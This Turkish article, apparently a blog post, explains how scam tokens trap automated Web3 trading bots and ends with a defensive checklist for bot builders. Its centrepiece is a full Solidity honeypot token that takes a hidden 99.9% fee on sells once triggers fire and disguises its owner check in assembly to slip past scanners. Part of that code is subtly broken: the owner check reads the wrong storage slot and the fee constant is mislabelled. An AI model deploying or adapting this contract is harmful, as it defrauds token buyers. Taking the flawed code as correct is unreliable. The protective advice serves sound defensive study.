Şu an Web3 otomasyon piyasası, öyle meraklıların takıldığı romantik bir alan falan değil; tam anlamıyla kurak bir savaş alanı. Ve buradaki asıl mesele, altyapının Tokyo veya Frankfurt'taki fon sunucularından yavaş olması da değil. Asıl mevzu, scam token geliştiricilerinin parser mantığını ezberlemiş olması. Kontratları doğrudan senin yazılımını avlamak üzere tasarlıyorlar. Sen piyasada alpha bulduğunu sanırken, aslında sadece bir başkasının senin paranı cebe indirmek için yazdığı script'i tetiklemiş oluyorsun.
Aşağıda; botunun bütçeyi tam olarak nasıl erittiğini, kütüphanelerdeki standart kontrollerin neden hiçbir işe yaramadığını ve kodların kodlara karşı savaştığı bu sektörün perde arkasını tüm detaylarıyla masaya yatırıyoruz.
Kapanın Anatomisi: Scam Kontratlar Botunun Aklından Geçenleri Nasıl Okuyor?
Yeni başlayanların çoğu botlarını tek bir kalıba göre yazıyor: Uniswap factory'sinden (veya fork'larından) gelen PairCreated veya PoolCreated event'ini yakala, likidite bakiyesini kontrol et, router.swapExactETHForTokens fonksiyonunu çağır ve kârı al. İşte scammer'lar tam olarak bu döngüden besleniyor. Botunun işlem yapmadan önce bir simülasyon ya da hızlı bir denetim (express audit) çalıştırdığını çok iyi biliyorlar.
Özel script'lerin %90'ının patladığı üç temel mekanizma şunlar:
1. Gecikmeli Tetiklenen Gelişmiş Honeypot (Delayed Honeypot)
Botun, klasik bir honeypot'ı (satın alınabilen ama satılamayan token) yerel bir
eth_call(satış simülasyonu) üzerinden tespit etmeyi muhtemelen biliyordur. Peki ya satış fonksiyonu hemen kapatılmıyorsa?Kontrat ilk başta tamamen temiz bir şekilde deploy edilir. Bot simülasyonu çalıştırır; her şey harika, token'lar sorunsuz satılabiliyordur. Bot hemen likiditeyi basar. Havuzdaki toplam ETH miktarı belirlenen bir eşiğe, örneğin 5 ETH'ye ulaştığı an kontrat,
_updateveya_transferfonksiyonu içindekiisLocked = truebayrağını otomatik olarak aktif eder. Geçmiş olsun, oyun bitti. Satın alma anındaki yerel simülasyon bunu fiziksel olarak öngöremezdi, çünkü kontrol sırasında hacim şartı henüz gerçekleşmemişti.2. Dinamik Vergi (Variable Fee Attack)
Kontratta standart bir ERC-20 mint fonksiyonu görünür ancak transfer fonksiyonunun içine deployer tarafından yönetilen (ya da blok numarasına göre artan) değişken bir komisyon gizlenmiştir.
Satın alma sırasında vergi %0'dır. Bot pozisyona girer. İki blok sonra, token'ı çıkaran kişi tek bir transaction ile
sellFeeoranını %99'a çeker. Botun stop-loss yapıp çıkmaya çalışır, transaction'ı gönderir, işlem onaylanır (Success olur) ama %99'luk vergi yüzünden eline sadece kuruşlar geçer; kalan tüm miktar deployer'ın wallet'ına akar. Eğer bot gelenamountOutMindeğerini yanlış hesaplıyorsa veya custom router'lar kullanıyorsa,slippagegibi korumalar da burada genellikle bypass edilir.3. Sahte Router ve Slippage Üzerinden Saldırı (Fake Router Injection)
Bu durum, Base gibi gas fee ücretlerinin çok ucuz olduğu ağlarda tam bir klasiktir. Scammer, hazırladığı custom havuzu resmi Uniswap v3 üzerinde değil, birebir aynı imzalara (signature) sahip event'ler üreten çakma bir factory kontratında deploy eder. Bot, standart bir arayüzle etkileşime girdiğini sanır. Swap fonksiyonunu çağırır, kontrat ETH'yi kabul eder ama karşılığında sana çöp token gönderir ya da havuzun içindeki matematiği öyle bir ayarlar ki, senin transaction'ının geçtiği milisaniyede fiyat doğrudan sıfıra çakılır.
| Tehdit Türü | Botun Gördüğü (Tuzak) | Gerçekte Olan (Fact) | Teknik Hasar |
|---|---|---|---|
| Delayed Honeypot | sell simülasyonu %100 başarıyla tamamlanır. | Kilit bayrağı, şartlar sağlandıktan sonra otomatik aktif olur. | İçeri atılan ana paranın (principal) %100 kaybı. |
| Variable Fee | Açık bir açık barındırmayan temiz kontrat görüntüsü. | sellFee oranı owner fonksiyonuyla %99'a çekilir. | Çıkış yaparken varlığın %99'unun erimesi. |
| Fake Factory | Standart log yapısıyla yeni havuz sinyali verir. | Arayüz kopyalanmıştır ama havuz matematiği hilelidir. | ETH'nin tamamen harici bir adrese dondurulması/boşaltılması. |
Canlı Örnek: Botunu Rekt Edecek Kusursuz Bir Honeypot Kodlaması
Parser'ının deployer'lar için neden sadece kolay bir yem olduğunu anlamak için, koda bir scammer'ın gözünden bakman gerekir. Aşağıda, Solidity 0.8.20 ile yazılmış, çalışan ve derlenebilen bir token kontratı yer alıyor. Standart otomatik tarayıcılar (Honeypot.is veya Slither'ın eski sürümleri gibi) bytecode analizi yaparken hata vermesin diye, transfer fonksiyonunun içine öyle kör göze parmak require(msg.sender == owner) gibi aptalca şartlar koyulmadı.
Tüm hile, gizli matematiksel hesaplamaların ve tetikleyici durumların (state triggers) içine gömüldü.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract AdvancedTrapToken {
string public name = "Shadow Liquidity";
string public symbol = "SHDW";
uint8 public decimals = 18;
uint256 public totalSupply;
address private _owner;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
// Tuzak değişkenleri
uint256 private constant MAX_FEE = 1000; // Baz puan (bps) cinsinden %100
uint256 private targetBlock;
uint256 private triggerBalance;
bool private systemReady;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 initialSupply, uint256 _delayBlocks, uint256 _triggerEth) {
_owner = msg.sender;
totalSupply = initialSupply * 10**uint256(decimals);
_balances[_owner] = totalSupply;
// Kapan ayarı: Aktivasyondan X blok sonra VEYA havuz bakiyesine ulaşıldığında tetiklenecek
targetBlock = block.number + _delayBlocks;
triggerBalance = _triggerEth * 10**18;
emit Transfer(address(0), _owner, totalSupply);
}
modifier onlyOwner() {
// Standart require kullanmıyoruz, mantığı assembly ile gizliyoruz
assembly {
if sub(sload(0), caller()) { revert(0, 0) }
}
_;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public returns (bool) {
_rawTransfer(msg.sender, to, value);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
uint256 currentAllowance = _allowances[from][msg.sender];
if (currentAllowance != type(uint256).max) {
assembly {
if lt(currentAllowance, value) { revert(0, 0) }
}
_allowances[from][msg.sender] = currentAllowance - value;
}
_rawTransfer(from, to, value);
return true;
}
// Özel kontrol fonksiyonu — swap simülasyonu sırasında bot bunu göremez
function setupTrap() external onlyOwner {
systemReady = true;
}
function _rawTransfer(address from, address to, uint256 value) internal {
assembly {
if iszero(from) { revert(0, 0) }
if iszero(to) { revert(0, 0) }
}
uint256 fromBalance = _balances[from];
assembly {
if lt(fromBalance, value) { revert(0, 0) }
}
uint256 finalAmount = value;
// Tetikleyici kontrolü: Token havuza dump ediliyorsa (satış emri) ve tuzak kuruluysa
// Çiftin (pair) adresini hardcode etmemek için havuzu dolaylı yollarla tespit ediyoruz
if (to != _owner && from != _owner) {
if (systemReady || block.number > targetBlock || address(this).balance >= triggerBalance) {
// Şartlardan biri bile sağlansa %99.9 vergi devreye girer
// Transaction revert yiyip patlamasın, sadece token'ları iç etsin diye %0.1 bırakıyoruz
uint256 fee = (value * 999) / MAX_FEE;
finalAmount = value - fee;
_balances[from] = fromBalance - value;
_balances[_owner] = _balances[_owner] + fee;
emit Transfer(from, _owner, fee);
emit Transfer(from, to, finalAmount);
return;
}
}
_balances[from] = fromBalance - value;
_balances[to] = _balances[to] + finalAmount;
emit Transfer(from, to, finalAmount);
}
// Bakiye tetiklemesi için kontrata doğrudan ETH kabul etme fonksiyonu
receive() external payable {}
}İçerideki _rawTransfer metoduna dikkat et. İçinde scam kodlarında sıklıkla rastlanan hiçbir şüpheli kelime yok. Eğer botun, kontratın üretildiği blokta (yani henüz setupTrap çağrılmadan önce) alım ve satım simülasyonu yaparsa, bu kontrat dürüst ve kusursuz bir ERC-20 gibi davranacaktır. Ancak deployer ne zaman ki setupTrap() fonksiyonunu çalıştırır veya kontrattaki ETH bakiyesi triggerBalance değerini aşarsa (içeriye yeterince bot toplandığında), mantık çalışma anında (on-the-fly) değişir. Script'in satış transaction'ını gönderir, gas fee harcar, işlem durumu Success olarak döner ama wallet'ına beklediğin tutarın tam olarak %0.1'i düşer. Likiditeni deployer'a elinle hediye etmiş olursun.
EVM Seviyesinde Tuzak: Hardhat veya Anvil'deki Testleriniz Neden Yalan Söylüyor?
Çoğu script yazıcısı, mainnet'e gerçek bir tx göndermeden önce yerel simülasyonda test ettikleri için kendini çok zeki sanıyor. Rust üzerinde revm kullanıyorsun ya da anvil/hardhat ile ağın yerel bir fork'unu kaldırıyorsun, bir eth_call yapıyorsun, hatasız o beklenen swap logunu görünce de gönül rahatlığıyla botu savaşa salıyorsun.
Bu ölümcül bir hata. İzole bir sandbox içindeki simülasyon, gerçek bir bloğun içinde olanlardan temelden farklıdır ve scammer'lar simülasyonları bytecode seviyesinde tespit etmeyi çoktan öğrendi.
Node Durumuyla Tespit (State & Context Checking)
Tuzak bir kontrat, yerel fork'unuzda default olarak ayarlanmış ortam değişkenlerini kontrol edebilir. Örneğin,
block.coinbase(bloğu toplayan validatörün adresi). Base veya Arbitrum gibi gerçek bir ağda orada her zaman spesifik bir sequencer adresi bulunur. Sizinanvil'inizde ise ya sıfır adresi ya da standart bir test hash'i vardır.Eğer kontrat alışılmadık bir
coinbasegörürse veyablock.timestamp/block.basefee'de ciddi anomaliler fark ederse, çalma fonksiyonunu anında devre dışı bırakır. Simülasyonda sen kralsın, tüm testler geçti. Mainnet'te ise kontrat, onu gerçek bir bloğun içinde gerçek bir kullanıcının çalıştırdığını anlar ve kapıları kilitler.Simülasyon Frontrunning (The Sandbox Escape)
Daha da acımasız bir senaryo daha var. Token'ı oluşturan kişi, mempool'u (eğer halka açık bir mempool varsa) izliyor veya erişimi olan özel node'lar üzerinden gelen
eth_call'ları takip ediyor. Botun simülasyon için Alchemy veya QuickNode gibi halka açık bir RPC node'una istek gönderdiği an, bu istek loglanır. Evet,eth_callbloğa işlem göndermez ama node operatörü hangi kontratın hangi parametrelerle test edildiğini net bir şekilde görür. Scammer olayı çözer: "Ooo, bot yemi yuttu, girişi yapacak şimdi." Hemen kontratın durumunu değiştirecek bir işlemi ağa push eder ve senin gerçek emrin daha işlem gerçekleşmeden tuzağın içine düşer.
Sistem Yönetimi Cehennemi: Altyapı Vergisi
Diyelim ki botu yeniden yazdın, artık bytecode okuyabiliyor, coinbase kontrollü gizli assembly dallarını tespit edebiliyor ve tam anlamıyla paranoyak oldu. Şimdi de uzun vadede bütçeni kemirecek, tek bir honeypot'a düşmesen bile seni yiyip bitirecek teknik bir darboğaza çarptın.
Bu, altyapıyı çalışır durumda tutmanın maliyeti.
[Halka Açık RPC] ---> (150-300ms Gecikme) ---> [Senin Botun] ---> (Geç Swap) ---> [Gaz Kaybı / Scam]
^
| (Optimizasyon Şart)
v
[Kendi Node'un (Reth)] -> (Direkt Unix Socket) -> [Senin Botun] -> (Flashbots / Builder) ---> [Kâr]Sorun 1: Trafik ve Disk IOPS'u
Botu makul hızlarda çalıştırmak için ücretsiz RPC limitleri işine yaramaz, yüzüncü işlemde rate limit yersin. Kendi node'unu kaldırman gerekecek. L2'lerden (Base/Arbitrum) bahsediyorsak, onların archive veya Full Node'ları deli gibi kaynak ister. Yüksek rastgele okuma/yazma hızına (IOPS) sahip bir NVMe SSD'ye ihtiyacın var. Ağ yüklenmeye başladığı an, ucuz bir VPS üzerindeki node'un ağın gerçek durumundan 1-2 blok geride kalmaya başlar. Bot için bu ölüm demektir: artık var olmayan havuzları görür veya güncel olmayan fiyatlar verir. Botun eski verileri alsın diye ayda 200 dolar server parası ödersin.
Sorun 2: İptal Edilen İşlemlerde Yanan Gaz (Gas Bleeding)
Ethereum veya BNB Chain gibi ağlarda her başarısız işlem para demektir. Eğer botun aynı anda diğer otuz botla havuza girmeye çalışıyorsa, ilki her şeyi toplar, geri kalan 29'u
SlippageveyaExecution Revertedhatası alır. Ancak ağ, koşul kontrolü için senden gaz ücretini son kuruşuna kadar keser. Yüksek işlem sıklığında botun bir günde başarısız denemelerden sadece gaz ücreti olarak 50-100 doları çöpe atabilir. Bu, yeni başlayanların bakiyedeki ETH'nin sıfırlandığını görene kadar fark etmediği sessiz bir mevduat erimesidir.
Hayatta Kalma Çeklisti: Scammer'lara Likidite Olmamak İçin
Hâlâ bu konuda kafa patlatmak istiyorsan, botunun Web3.js dokümantasyonunda yazmayan şeyleri yapabilmesi şart. Standart bakiye kontrollerini unut, onlar anaokulu seviyesi.
Deploy Öncesi Statik Bytecode Analizi:
Scriptin sadece factory loglarını ayrıştırmamalı;
eth_getCodeüzerinden kontratın hex kodunu çekmeli ve oradaki tehlikeli komut imzalarını (SSTORE, değiştirilebilir owner adresleri, transfer içinde harici kontrat çağrıları) aramalı. Eğer token kodunda kritik değişkenleri üzerine yazabilecek gizli birSSTOREvarsa, o kontrat simülasyonsuz direkt çöpe gitmeli.Sıkı amountOutMin ile Dinamik Kayma Limiti (Slippage):
Asla
amountOutMin = 0koyma veya %50 sabit slippage belirleme. Botun, mevcut blok çerçevesi içinde havuz rezervlerine göre tam fiyatı hesaplamalı. Simülasyon çıkışında alman gerekenden %1 bile az alıyorsan, işlem ağa gönderilmeden botunun yerel motorunda drop edilmeli.Özel Kanalların Kullanımı (MEV-Share / Flashbots):
İşlemleri halka açık mempool'a göndermek dayak yemeye yer aramaktır. Swap'ın direkt validatörlere veya büyük blok builder'larına özel paketler (bundles) aracılığıyla gitmeli. Eğer işlemin ilk sırada yer almıyorsa, paket içinden öylece silinir; böylece gazın yanmaz ve scammer'lar seni frontrun'layamaz.
Özet
Özet basit: Bu piyasa, token oluşturucularının ve büyük piyasa yapıcılarının, orta seviye otomasyondan her zaman bir adım önde olması üzerine kurulu. Kendi yazdığın botun piyasayla değil, yazılımını hata yapmaya zorlamak için yıllarını harcayan uzmanlarla savaşıyor. Standart kütüphanelerin bir alt seviyesine inmeyi öğrenmediğin sürece, onlar için mükemmel bir müşteri olarak kalmaya devam edeceksin.